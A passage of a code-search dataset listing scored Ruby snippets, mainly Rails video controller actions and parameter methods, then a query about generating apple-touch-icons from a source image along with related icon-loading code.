"text": "def create\n @save_video = SaveVideo.new(save_video_params)\n\n respond_to do |format|\n if @save_video.save\n format.html { redirect_to @save_video, notice: \"Save video was successfully created.\" }\n format.json { render :show, status: :created, location: @save_video }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @save_video.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b197e345c32579f2bdc09d7a098499b9",
"score": "0.606544",
"text": "def create\n @guides_video = Guides::Video.new(guides_video_params)\n @guides_video.published_at = Time.now\n respond_to do |format|\n if @guides_video.save\n format.html { redirect_to @guides_video, notice: 'Video was successfully created.' }\n format.json { render :show, status: :created, location: @guides_video }\n else\n format.html { render :new }\n format.json { render json: @guides_video.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "bb0c5ab6c066f5548ace0b8bdf9901a6",
"score": "0.6057485",
"text": "def create\n update_video\n end",
"title": ""
},
{
"docid": "2030b13487455a6fa7f646f803fd4387",
"score": "0.6049678",
"text": "def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @video }\n end\n end",
"title": ""
},
{
"docid": "2030b13487455a6fa7f646f803fd4387",
"score": "0.6049678",
"text": "def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @video }\n end\n end",
"title": ""
},
{
"docid": "2030b13487455a6fa7f646f803fd4387",
"score": "0.6049678",
"text": "def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @video }\n end\n end",
"title": ""
},
{
"docid": "2030b13487455a6fa7f646f803fd4387",
"score": "0.6049678",
"text": "def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @video }\n end\n end",
"title": ""
},
{
"docid": "2030b13487455a6fa7f646f803fd4387",
"score": "0.6049678",
"text": "def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @video }\n end\n end",
"title": ""
},
{
"docid": "2030b13487455a6fa7f646f803fd4387",
"score": "0.6049678",
"text": "def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @video }\n end\n end",
"title": ""
},
{
"docid": "fe90e246e56fb42f3d04c781ac656690",
"score": "0.6047374",
"text": "def create\n @video = Video.new(video_params)\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to [:admin, @video], notice: 'Video was successfully created.' }\n format.json { render :show, status: :created, location: [:admin, @video] }\n else\n @resource = @video\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "70ea5f0c09f6623385a6437426944eca",
"score": "0.60450983",
"text": "def create\n @recorded_video = RecordedVideo.new(params[:recorded_video])\n\n respond_to do |format|\n if @recorded_video.save\n format.html { redirect_to(@recorded_video, :notice => 'Recorded video was successfully created.') }\n format.xml { render :xml => @recorded_video, :status => :created, :location => @recorded_video }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @recorded_video.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "da465a94d3e4e674dfdb233ff4cfa777",
"score": "0.60344446",
"text": "def new\n @video = Video.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @video }\n end\n end",
"title": ""
},
{
"docid": "52de854ce3ded42680d9da96d953426c",
"score": "0.60309213",
"text": "def video_params\n params[:video].permit(:url, :video_node_id)\n end",
"title": ""
},
{
"docid": "6e5a3bba7b54381d94b48788abad5175",
"score": "0.6026881",
"text": "def create\n @video = @user.videos.new(video_params)\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to user_videos_path(:user_id => @user.id), notice: '作成されました。' }\n format.json { render :show, status: :created, location: @video }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "437bc2cd09453bf88b9e865826871be4",
"score": "0.60255355",
"text": "def create\n @embedded_video = EmbeddedVideo.new(embedded_video_params)\n\n respond_to do |format|\n if @embedded_video.save\n format.html { redirect_to @embedded_video, notice: 'Embedded video was successfully created.' }\n format.json { render :show, status: :created, location: @embedded_video }\n else\n format.html { render :new }\n format.json { render json: @embedded_video.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "382d657b131d84a7e4723b81cbe95f59",
"score": "0.6023866",
"text": "def create\n videos = []\n errors = []\n create_params.each do |video_param|\n @video = Video.new(video_param)\n album = Album.find(video_param[:album_id])\n if @video.valid?\n @video.save!\n videos << @video\n else\n errors << @video.errors.messages\n end\n end\n videos_json = {videos: videos, errors: errors}\n render json: videos_json, status: :ok, layout: false\n end",
"title": ""
},
{
"docid": "82ee69e58930b96d4b5038013769573b",
"score": "0.6022967",
"text": "def create\n @video = current_user.videos.build(video_params)\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render :show, status: :created, location: @video }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "47e3b9659a4c3ac3b843518b7bd6e45d",
"score": "0.60228044",
"text": "def new\n @video = PendingVideo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @video }\n end\n end",
"title": ""
},
{
"docid": "a67d4f93579c9ac2a4fd8ecdc69fa5d4",
"score": "0.60224974",
"text": "def create\n @video = Video.new(video_params)\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to root_url, notice: 'Video was successfully created.' }\n format.json { render action: 'show', status: :created, location: @video }\n else\n format.html { render action: 'new', notice: 'Try again.' }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "521972232e0c45732eba8fc1dcf49de7",
"score": "0.60104156",
"text": "def create\n @video = current_user.videos.new(video_params)\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to videos_path, notice: 'Video was successfully created.' }\n format.json { render :show, status: :created, location: @video }\n else\n flash[:error] = @video.errors.full_messages.join(', ')\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b3131ec35a6938d4579c83864c5461e8",
"score": "0.60082936",
"text": "def video_params\n params.require(:video).permit(:nombres, :apellidos, :correo, :fecha, :estado, :archivo, :mensaje, :concurso_id)\n end",
"title": ""
},
{
"docid": "feef3d14078f4d7fce0fedd55b7e8bd0",
"score": "0.5997606",
"text": "def create\n @video = Video.new(video_params)\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to [:admin, @video], notice: 'Video was successfully created.' }\n format.json { render action: 'show', status: :created, location: @video }\n else\n format.html { render action: 'new' }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "449318f2acab8a15c9ace315c8120293",
"score": "0.599689",
"text": "def create\n # directory = Rails.root.join('public/videos')\n # puts directory\n # name = params[:upload][:file].original_filename\n # path = File.join(directory, name)\n # File.open(path, \"wb\") { |f| f.write(params[:upload][:file].read) }\n\n @video = Video.new(video_params)\n @video.user = current_user\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render :show, status: :created, location: @video }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4fc5d58c05e87a4c2361f5c66ea339e7",
"score": "0.5992759",
"text": "def create\n @video = Video.new(video_params)\n @video.selected = true\n @video.created_at = Date.today\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to videos_path, notice: 'Video was successfully created.' }\n format.json { render :show, status: :created, location: @video }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "da838986d1713a86e418e121832f1b11",
"score": "0.59851813",
"text": "def video_params\n params.require(:video).permit(:name, :uuid, :content_type)\n end",
"title": ""
},
{
"docid": "a8ee8045002d50fd242c7685c01573cf",
"score": "0.5979084",
"text": "def video_params\n params.require(:video).permit(:title, :path, :token, :subtitles_fr,\n :subtitles_en, :content_rating, :runtime, :description, :rating,\n :poster, :director, :metascore, :writer, :genre, :download, :url, :year)\n end",
"title": ""
},
{
"docid": "554b4178276881b43a6f9c0d2d6a9a57",
"score": "0.59662277",
"text": "def upload\n credentials = {}\n if @destinations\n @destinations.each_pair do |site, c| \n credentials.merge!(site => \"#{c[0]}:#{c[1]}\")\n end\n end\n \n result = HTTP.post(\"/video\", {\n :title => @title, \n :description => @description, \n :tags => @tags, \n :category => @category, \n :file => @file, \n :url => @url, \n :ping => @ping,\n :watermark_image_url => @watermark_image_url,\n :watermark_position => @watermark_position,\n :convert => @convert,\n :stat => @stat\n }.merge(credentials)\n )\n \n Video.new(Video.hpricot_to_hash(result))\n end",
"title": ""
},
{
"docid": "8a64940e56f132973b8e4f5b630c4409",
"score": "0.59636456",
"text": "def video_params\n params.require(:video).permit(:vid, :title, :description)\n end",
"title": ""
},
{
"docid": "f0e03f7d7fbd7075d585dae976ee0a87",
"score": "0.59613764",
"text": "def create\n @tik_tok = TikTok.new(tik_tok_params)\n\n respond_to do |format|\n if @tik_tok.save\n format.html { redirect_to @tik_tok, notice: \"Video was successfully added.\" }\n format.json { render :show, status: :created, location: @tik_tok }\n else\n format.html { render :new }\n format.json { render json: @tik_tok.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5268abf01813e3ec2786922acbacae82",
"score": "0.59590375",
"text": "def video_params\n params.require(:video).permit(:name, :start_date, :url, :user_id, id: [])\n end",
"title": ""
},
{
"docid": "3e51f23ef4c1e3ea98abaa4b4a913176",
"score": "0.59460634",
"text": "def create\n @video = Video.create(all_video_params)\n\n redirect_to all_videos_path\n end",
"title": ""
},
{
"docid": "84a6eef77d21ef0fb59f5f660687300b",
"score": "0.59446865",
"text": "def new\n #@video = Video.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @video }\n end\n end",
"title": ""
},
{
"docid": "27f9f72a3b3fa83ae25dd878e5a5b3d4",
"score": "0.5941683",
"text": "def create\n @you_tube_video = YouTubeVideo.new(params[:you_tube_video])\n\n respond_to do |format|\n if @you_tube_video.save\n flash[:notice] = 'YouTubeVideo was successfully created.'\n format.html { redirect_to(@you_tube_video) }\n format.xml { render :xml => @you_tube_video, :status => :created, :location => @you_tube_video }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @you_tube_video.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e532531b23c26ba5204d333d07306b2a",
"score": "0.5940398",
"text": "def create\n @video = Video.new(params[:video])\n @video.user = current_user\n respond_to do |format|\n if @video.save\n format.html { redirect_to root_path }\n format.json { render json: @video }\n else\n format.html { render :action => :new }\n format.json { render json: @video.errors }\n end\n end\n end",
"title": ""
},
{
"docid": "f6061e6a2e2d5348e51b5b9a56e81872",
"score": "0.5933107",
"text": "def new\n @remote_video_content = RemoteVideoContent.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @remote_video_content }\n end\n end",
"title": ""
},
{
"docid": "dbcb0d65436784cea8794c3402496d26",
"score": "0.5919534",
"text": "def video_params\n params.require(:video).permit(:title, :url, :subscription, :channel, :watched)\n end",
"title": ""
},
{
"docid": "ee9a806a18e7dc3e59aa17bc2039f951",
"score": "0.59050286",
"text": "def upload_video(new_attributes={})\n authenticate unless authenticated?\n Viddler::ApiSpec.check_attributes('videos.upload', new_attributes)\n\n # Get an upload endpoint\n request = Viddler::Request.new(:post, 'viddler.videos.prepareUpload')\n request.run do |p|\n p.api_key = @api_key\n p.sessionid = @session_id\n end\n endpoint = request.response['upload']['endpoint'] \n\n # Upload to endpoint url\n request = Viddler::Request.new(:post, 'videos.upload')\n request.url = endpoint\n request.run do |p|\n p.api_key = @api_key\n p.sessionid = @session_id\n for param, value in new_attributes\n p.send(\"#{param}=\", value)\n end\n end\n Viddler::Video.new(request.response['video'])\n end",
"title": ""
},
{
"docid": "a23c26b1f574cb01e4c215ea26484ca2",
"score": "0.5904954",
"text": "def get_videos videos_url\n @videos = [] if @videos.nil?\n doc.elements.each('entry') do |v|\n @videos << Video.new(:video => v)\n end\n end",
"title": ""
},
{
"docid": "232ef322d7b17e10a087d6fb5c9590a6",
"score": "0.5902886",
"text": "def create\r\n @video = Video.new(params[:video])\r\n\r\n respond_to do |format|\r\n if @video.save and @video.update_tags params[:tag_ids]\r\n format.html { redirect_to videos_url, notice: '成功创建视频' }\r\n format.json { render json: @video, status: :created, location: @video }\r\n else\r\n format.html { render action: \"new\" }\r\n format.json { render json: @video.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"title": ""
},
{
"docid": "48954a80d98ef210a4970206d384ec86",
"score": "0.5891885",
"text": "def video_params\n params.require(:video).permit(:title, :video_id, :description, :tag_list, :attachment_id)\n end",
"title": ""
},
{
"docid": "0f4be42177fffabe45ab38aa50c77226",
"score": "0.5890865",
"text": "def new\n @single_video = SingleVideo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @single_video }\n end\n end",
"title": ""
},
{
"docid": "469a93098b0072ae74c6724b3374ea02",
"score": "0.58887553",
"text": "def video_params\n params.require(:video).permit(:name, :body)\n end",
"title": ""
},
{
"docid": "77f45b12d5e8195072d2c03ca5d943c2",
"score": "0.58839035",
"text": "def video_params\n params.require(:video).permit(:content,:production_type, :title, :season, :episode, :desc, :date, :series_id, genre_ids:[])\n end",
"title": ""
},
{
"docid": "812b42d19093b72da4f99e8dc547ef64",
"score": "0.5881797",
"text": "def video_params\n params[:video]\n end",
"title": ""
},
{
"docid": "2c92d016e0cac29a0682ce6050c87e06",
"score": "0.58743054",
"text": "def create\n Rails.cache.delete_matched(\"values_*\")\n params = MetadataHelper.fix_metadata_types(video_params)\n @video = Video.new(params)\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render :show, status: :created, location: @video }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "cd71343f6bc56fd807be39c6563c7327",
"score": "0.5874057",
"text": "def create\n @media_video = MediaVideo.new(media_video_params)\n\n respond_to do |format|\n if @media_video.save\n format.html { redirect_to @media_video, notice: 'Se ha agregado video' }\n format.json { render :show, status: :created, location: @media_video }\n else\n format.html { render :new }\n format.json { render json: @media_video.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b1a6aced16aab850af66eba1ddb42b6a",
"score": "0.5873856",
"text": "def video_params\n params.require(:video).permit(:nombre, :apellido, :email, :titulo, :descripcion, :video_source, :id)\n end",
"title": ""
},
{
"docid": "77048866982ed483a6820f7d242f3ad9",
"score": "0.5872867",
"text": "def create\n @video = Video.new(video_params)\n @video.user = current_user\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render :show, status: :created, location: @video }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "77048866982ed483a6820f7d242f3ad9",
"score": "0.5872867",
"text": "def create\n @video = Video.new(video_params)\n @video.user = current_user\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render :show, status: :created, location: @video }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5bf7494ac1d79970e2fd0bc30b7462be",
"score": "0.58701223",
"text": "def video_params\n params.require(:video).permit(:name, :description, :file, :course_id, :channel_id, :category_ids => [])\n end",
"title": ""
}
] |
d2ab2ba5d6e8a14e526c0526e44b7a13
|
Builds appletouchicons from the given source file.
|
[
{
"docid": "473db3554221e69865d3db94378de6e9",
"score": "0.6079746",
"text": "def build(source, destination)\n @apple_sizes.each do |size| \n if size == '180x180'\n build_size(source, '180x180', \"#{destination}/apple-touch-icon.png\") \n build_size(source, '180x180', \"#{destination}/apple-touch-icon-precomposed.png\")\n else\n # Create precomposed icons\n new_precomposed_image = \"#{destination}/apple-touch-icon-#{size}-precomposed.png\"\n build_size(source, size, new_precomposed_image)\n # Create normal icons\n new_image = \"#{destination}/apple-touch-icon-#{size}.png\"\n build_size(source, size, new_image) \n end\n end\n @chrome_sizes.each do |size|\n new_image = \"#{destination}/touch-icon-#{size}.png\"\n build_size(source, size, new_image)\n end\n @microsoft_sizes.each do |size|\n new_image = \"#{destination}/mstile-#{size}.png\"\n build_size(source, size, new_image)\n end\n end",
"title": ""
}
] |
[
{
"docid": "adc14a6528484f3a9b47890b60b86871",
"score": "0.615837",
"text": "def build_single(source, destination)\n build_size(source, '152x152', \"#{destination}/apple-touch-icon-precomposed.png\")\n end",
"title": ""
},
{
"docid": "0fe31bf76500e3563bf934e59d2a1b49",
"score": "0.6084293",
"text": "def build(source, destination)\n @sizes.each do |size|\n new_image = \"#{destination}/apple-touch-icon-#{size}-precomposed.png\"\n build_size(source, size, new_image)\n if size == '57x57'\n build_size(source, '57x57', \"#{destination}/apple-touch-icon-precomposed.png\")\n end\n end\n end",
"title": ""
},
{
"docid": "6f9860d467ca17f51bb0c3c0705c14a9",
"score": "0.60650307",
"text": "def build_single(source, destination)\n build_size(source, '180x180', \"#{destination}/apple-touch-icon.png\")\n build_size(source, '180x180', \"#{destination}/apple-touch-icon-precomposed.png\")\n end",
"title": ""
},
{
"docid": "817e69bb1e8d023ab6d8999581f80da1",
"score": "0.5757289",
"text": "def load_icon(filename)\n icon = nil\n filename = File.join(\"icons\",filename)\n File.open(filename, \"rb\") do |io|\n icon = FXPNGIcon.new(app, io.read)\n end\n icon.blend(FXRGB(236,233,216))\n icon\n end",
"title": ""
},
{
"docid": "746f37dea2d540e255d68b40ccad893d",
"score": "0.5699801",
"text": "def apple_icons\n apple_icon_sizes_array = [57, 60, 72, 76, 114, 120, 144, 152]\n\n icon_tags('apple-touch-icon-precomposed',\n 'apple-touch-icon',\n apple_icon_sizes_array)\n end",
"title": ""
},
{
"docid": "abd8c747c5efeec97696303b05b94d8b",
"score": "0.56040007",
"text": "def load_icon(filename, app)\n filename = File.expand_path(\"../../../../icons/#{filename}\", __FILE__)\n File.open(filename, 'rb') do |f|\n FXPNGIcon.new(app, f.read)\n end\n end",
"title": ""
},
{
"docid": "6ab62b6f83df66965ddf515995929dec",
"score": "0.5565602",
"text": "def borrow_xcode_icon(icon_name, background=false)\n\t\t\t\timage_path = \"/System/Library/PrivateFrameworks/DevToolsInterface.framework/Versions/A/Resources/#{icon_name}\"\n\t\t\t\tif File.exist?(image_path)\n\t\t\t\t\timage(\t:class => background ? \"backgroundicon\" : \"icon\",\n\t\t\t\t\t\t\t:src => \"file://#{image_path}\" )\n\t\t\t\tend\n\t\t\tend",
"title": ""
},
{
"docid": "c57b3869539b6bb8ff1eeb4aa7596f43",
"score": "0.5477027",
"text": "def copy_icon_file\n FileUtils.cp spec.icon, icon_file\n end",
"title": ""
},
{
"docid": "d3f747344e0a90a26998e682bec1468b",
"score": "0.539799",
"text": "def icon_paths\n icon_paths = []\n\n # old way to specify icons\n icon_names = []\n all_plists_for_build_setting(\"INFOPLIST_FILE\").each do |path, plist_content|\n keys = plist_content.keys.select {|key| key.start_with?(\"CFBundleIcons\") }\n icon_names << keys.map {|key| plist_content[key][\"CFBundlePrimaryIcon\"][\"CFBundleIconFiles\"] }\n end\n icon_names = icon_names.flatten.uniq\n icon_name_regexps = icon_names.map do |icon_name|\n icon_name_extension = File.extname(icon_name)\n if icon_name_extension.empty?\n Regexp.new(\"\\\\A#{Regexp.escape(icon_name)}(@[0-9]+x)?\\.png\\\\z\")\n else\n Regexp.new(\"\\\\A#{Regexp.escape(File.basename(icon_name, icon_name_extension))}(@[0-9]+x)?#{Regexp.escape(icon_name_extension)}\\\\z\")\n end\n end\n icon_paths << find_files_in_project do |project_file_path|\n basenames = [ project_file_path.basename.to_s, project_file_path.basename(project_file_path.extname).to_s ]\n icon_name_regexps.any? {|re| re.match(project_file_path.basename.to_s) }\n end\n\n # newer way to specify icons\n icon_asset_names = []\n each_build_settings do |build_settings|\n name = build_settings[\"ASSETCATALOG_COMPILER_APPICON_NAME\"]\n icon_asset_names << name if name and !name.empty?\n end\n icon_asset_names.uniq!\n asset_paths = find_files_in_project {|project_file_path| project_file_path.extname == \".xcassets\" }\n icon_asset_names.each do |asset_name|\n asset_paths.each do |asset_path|\n json_path = asset_path.join(\"#{asset_name}.appiconset/Contents.json\")\n next unless json_path.exist?\n JSON.parse(IO.read(json_path))[\"images\"].each do |image|\n next unless image[\"filename\"]\n icon_path = json_path.dirname.join(image[\"filename\"])\n icon_paths << icon_path if icon_path.exist?\n end\n end\n end\n\n icon_paths.flatten.uniq\n end",
"title": ""
},
{
"docid": "439f0c56cc43dd57df42fb1515d6a69d",
"score": "0.5365716",
"text": "def loadIcon(filename)\n filename = File.expand_path(\"../images/#{filename}\", __FILE__)\n File.open(filename, \"rb\") do |f|\n FXPNGIcon.new(getApp(), f.read)\n end\n end",
"title": ""
},
{
"docid": "439f0c56cc43dd57df42fb1515d6a69d",
"score": "0.5365716",
"text": "def loadIcon(filename)\n filename = File.expand_path(\"../images/#{filename}\", __FILE__)\n File.open(filename, \"rb\") do |f|\n FXPNGIcon.new(getApp(), f.read)\n end\n end",
"title": ""
},
{
"docid": "439f0c56cc43dd57df42fb1515d6a69d",
"score": "0.5365716",
"text": "def loadIcon(filename)\n filename = File.expand_path(\"../images/#{filename}\", __FILE__)\n File.open(filename, \"rb\") do |f|\n FXPNGIcon.new(getApp(), f.read)\n end\n end",
"title": ""
},
{
"docid": "439f0c56cc43dd57df42fb1515d6a69d",
"score": "0.5365716",
"text": "def loadIcon(filename)\n filename = File.expand_path(\"../images/#{filename}\", __FILE__)\n File.open(filename, \"rb\") do |f|\n FXPNGIcon.new(getApp(), f.read)\n end\n end",
"title": ""
},
{
"docid": "439f0c56cc43dd57df42fb1515d6a69d",
"score": "0.5364805",
"text": "def loadIcon(filename)\n filename = File.expand_path(\"../images/#{filename}\", __FILE__)\n File.open(filename, \"rb\") do |f|\n FXPNGIcon.new(getApp(), f.read)\n end\n end",
"title": ""
},
{
"docid": "7a3ee7d420d67a396a2702c518d546aa",
"score": "0.5362376",
"text": "def icon_tag(file_name, options = {})\n ext = \"#{File.extname(file_name).gsub('.', '')}\"\n k = %w(ac3 aiff avi bmp cab dat doc docx dvd dwg fon gif html ico ifo jif jpg log m4a mp3 mpeg msp pdf png ppt pptx psd rtf tiff ttf txt wav wmv wri xls xlsx xml xsl zip)\n options.merge!({:size => \"24x24\", :alt => ext})\n if k.include?(ext)\n image_tag \"doc_icons/#{ext}.png\", options\n else\n Rails.logger.info url\n image_tag \"doc_icons/default.png\", options\n end\n end",
"title": ""
},
{
"docid": "b671e78280a43cc5c03117f67c589ad2",
"score": "0.5335203",
"text": "def build_icon(meth)\n if meth.to_s =~ /^(.*)_icon$/\n name = $1\n path = File.join(Config.images_path, \"#{name}.png\")\n if File.exists? path\n begin\n icon = Gdk::Pixbuf.new(path) \n icon.freeze\n # Once loaded, we only need a reader\n self.class.send(:define_method, meth) do\n icon\n end\n return icon\n rescue StandardError => e\n $stderr.puts e.to_s\n $stderr.puts \"Problem loading #{name} icon #{path}\"\n raise e\n end\n else\n raise \"Icon not found: #{path}\"\n end\n end\n end",
"title": ""
},
{
"docid": "d640605f8cbbadd9ad49b07ee2eab1e6",
"score": "0.53094083",
"text": "def load_icon(filename)\n begin\n filename = File.join(\"icons\", filename) + \".png\"\n icon = nil\n File.open(filename, \"rb\") { |f|\n icon = FXPNGIcon.new(getApp(), f.read)\n }\n icon\n rescue\n raise RuntimeError, \"#{ERR_NO_ICON} #{filename}\"\n end\n end",
"title": ""
},
{
"docid": "9a218de8fb37e4a7c4cac298c4058993",
"score": "0.5252242",
"text": "def set_dmg_icon\n execute <<-EOH.gsub(/^ {8}/, '')\n # Convert the png to an icon\n sips -i \"#{resource_path('icon.png')}\"\n\n # Extract the icon into its own resource\n DeRez -only icns \"#{resource_path('icon.png')}\" > tmp.rsrc\n\n # Append the icon reosurce to the DMG\n Rez -append tmp.rsrc -o \"#{final_dmg}\"\n\n # Source the icon\n SetFile -a C \"#{final_dmg}\"\n EOH\n end",
"title": ""
},
{
"docid": "4f9eef6994d450f7cbae4f49f5b11fd2",
"score": "0.52328694",
"text": "def loadIcon(filename)\n begin\n #dirname = File.join(File.dirname(__FILE__), \"/../res/icons\")\n dirname = File.join(get_resource_path, \"icons\")\n filename = File.join(dirname, filename)\n icon = nil\n File.open(filename, \"rb\") { |f|\n if File.extname(filename) == \".png\"\n icon = FXPNGIcon.new(getApp(), f.read)\n elsif File.extname(filename) == \".gif\"\n icon = FXGIFIcon.new(getApp(), f.read)\n end\n }\n icon\n rescue\n raise RuntimeError, \"Couldn't load icon: #{filename}\"\n end\n end",
"title": ""
},
{
"docid": "df7d6a6ed300b54cf301fa76ae7a1024",
"score": "0.5229557",
"text": "def loadIcon(filename)\r\n begin\r\n dirname = File.join(get_resource_path, \"icons\")\r\n filename = File.join(dirname, filename)\r\n icon = nil\r\n File.open(filename, \"rb\") { |f|\r\n if File.extname(filename) == \".png\"\r\n icon = FXPNGIcon.new(getApp(), f.read)\r\n elsif File.extname(filename) == \".gif\"\r\n icon = FXGIFIcon.new(getApp(), f.read)\r\n end\r\n }\r\n icon\r\n rescue\r\n raise RuntimeError, \"Couldn't load icon: #{filename}\"\r\n end\r\n end",
"title": ""
},
{
"docid": "f0059250b858973a5795bc76a3b58201",
"score": "0.52280134",
"text": "def icon_file\n File.join(resources_root, \"#{spec.name}.icns\")\n end",
"title": ""
},
{
"docid": "47c42ffa64c7298a1675a7cb4600b51c",
"score": "0.52228534",
"text": "def create_icon()\n return IconComponent.new(\n '',\n {\n 'image' => '/base_image.png'\n },\n {},\n {},\n {},\n File.expand_path('./test/images')\n )\nend",
"title": ""
},
{
"docid": "70e9619145f02d7d74ab3951ebdc6db6",
"score": "0.52151936",
"text": "def updateIcon (settings)\n\n iconsBasePath = \"#{settings[:projectDirectory]}/PagesJaunes/Data/Images/SPLASH+ICONE\"\n icons = [[\"Icon_base.png\" , \"Icon.png\"] , [\"Icon_base@2x.png\" , \"Icon@2x.png\"]]\n \n should_update_icon = settings[:deploy][\"icon\"][\"addExtraInfosInIcon\"]\n \n if !should_update_icon\n return\n end\n \n basePath = appPath(settings)\n\n icons.each do |files|\n \n source_file = \"#{iconsBasePath}/#{files[0]}\"\n dest_file = \"#{basePath}/#{files[1]}\"\n \n puts \"Modification de #{source_file}\"\n puts \"vers #{dest_file}\"\n\n addInfosToIcon settings , source_file , dest_file\n \n end\n\nend",
"title": ""
},
{
"docid": "47c49adeddaf6711e851975328b60d8f",
"score": "0.51834744",
"text": "def importShortcutFromFile(ioController, iFileName, iParentTag)\n # Read the file as a text file\n lURL = nil\n lIconFile = nil\n lIconIndex = nil\n File.open(iFileName, 'r') do |iFile|\n iFile.readlines.each do |iLine|\n # Try matching the URL\n lMatch = iLine.match(/^URL=(.*)$/)\n if (lMatch != nil)\n lURL = lMatch[1]\n else\n # Try matching the Icon\n lMatch = iLine.match(/^IconFile=(.*)$/)\n if (lMatch != nil)\n lIconFile = lMatch[1]\n else\n # Try matching the icon index\n lMatch = iLine.match(/^IconIndex=(.*)$/)\n if (lMatch != nil)\n lIconIndex = lMatch[1].to_i\n end\n end\n end\n # Break if we want nothing more\n if ((lURL != nil) and\n (lIconFile != nil) and\n (lIconIndex != nil))\n break\n end\n end\n end\n # Now create the Shortcut based on what we got\n if (lURL != nil)\n # Get the icon\n lIconBitmap = nil\n if (lIconFile != nil)\n lIconBitmap, lError = getBitmapFromURL(lIconFile, lIconIndex)\n if (lIconBitmap == nil)\n log_err \"Error while reading icon from #{lIconFile},#{lIconIndex}: #{lError}\"\n end\n end\n # Tags\n lNewTags = {}\n # Beware the root Tag\n if (iParentTag != ioController.RootTag)\n lNewTags[iParentTag] = nil\n end\n # Create the new Shortcut\n ioController.createShortcut(\n 'URL',\n lURL,\n {\n # Convert the file name in UTF-8, and remove extension\n 'title' => UTF8_CONVERTER.iconv(File.basename(iFileName[0..-1-File.extname(iFileName).size])),\n 'icon' => lIconBitmap\n },\n lNewTags\n )\n else\n log_bug \"File #{iFileName} does not define any URL (could not find any line 'URL='). Ignoring this file.\"\n end\n end",
"title": ""
},
{
"docid": "da068f74c51fe607345f888364252ccc",
"score": "0.5160136",
"text": "def ift_build!(file)\n # write templates to view files if they haven't been already been\n # written, or always if :reload_templates config option is true\n return unless !ift_built? || Merb::Config[:reload_templates] \n\n data = IO.read(file).split('__END__').last\n templates = ift_parse(data)\n\n self.ift_set_template_roots!\n self.ift_garbage_collect!\n\n templates.each do |name,data|\n path = ift_path_for(name)\n unless File.exist?(path) #don't overwrite externaly defined templates\n self.ift_write_template(path, data)\n @cache << path\n end\n end\n end",
"title": ""
},
{
"docid": "564fd4d5817d3e8da675bcd9250968db",
"score": "0.51409197",
"text": "def set_dmg_icon\n log.info(log_key) { \"Setting dmg icon\" }\n\n Dir.chdir(staging_dir) do\n shellout! <<-EOH.gsub(/^ {10}/, \"\")\n # Convert the png to an icon\n sips -i \"#{resource_path(\"icon.png\")}\"\n\n # Extract the icon into its own resource\n DeRez -only icns \"#{resource_path(\"icon.png\")}\" > tmp.rsrc\n\n # Append the icon reosurce to the DMG\n Rez -append tmp.rsrc -o \"#{package_path}\"\n\n # Source the icon\n SetFile -a C \"#{package_path}\"\n EOH\n end\n end",
"title": ""
},
{
"docid": "f27f37953a30a8e94eb5e96f3ad04320",
"score": "0.51395196",
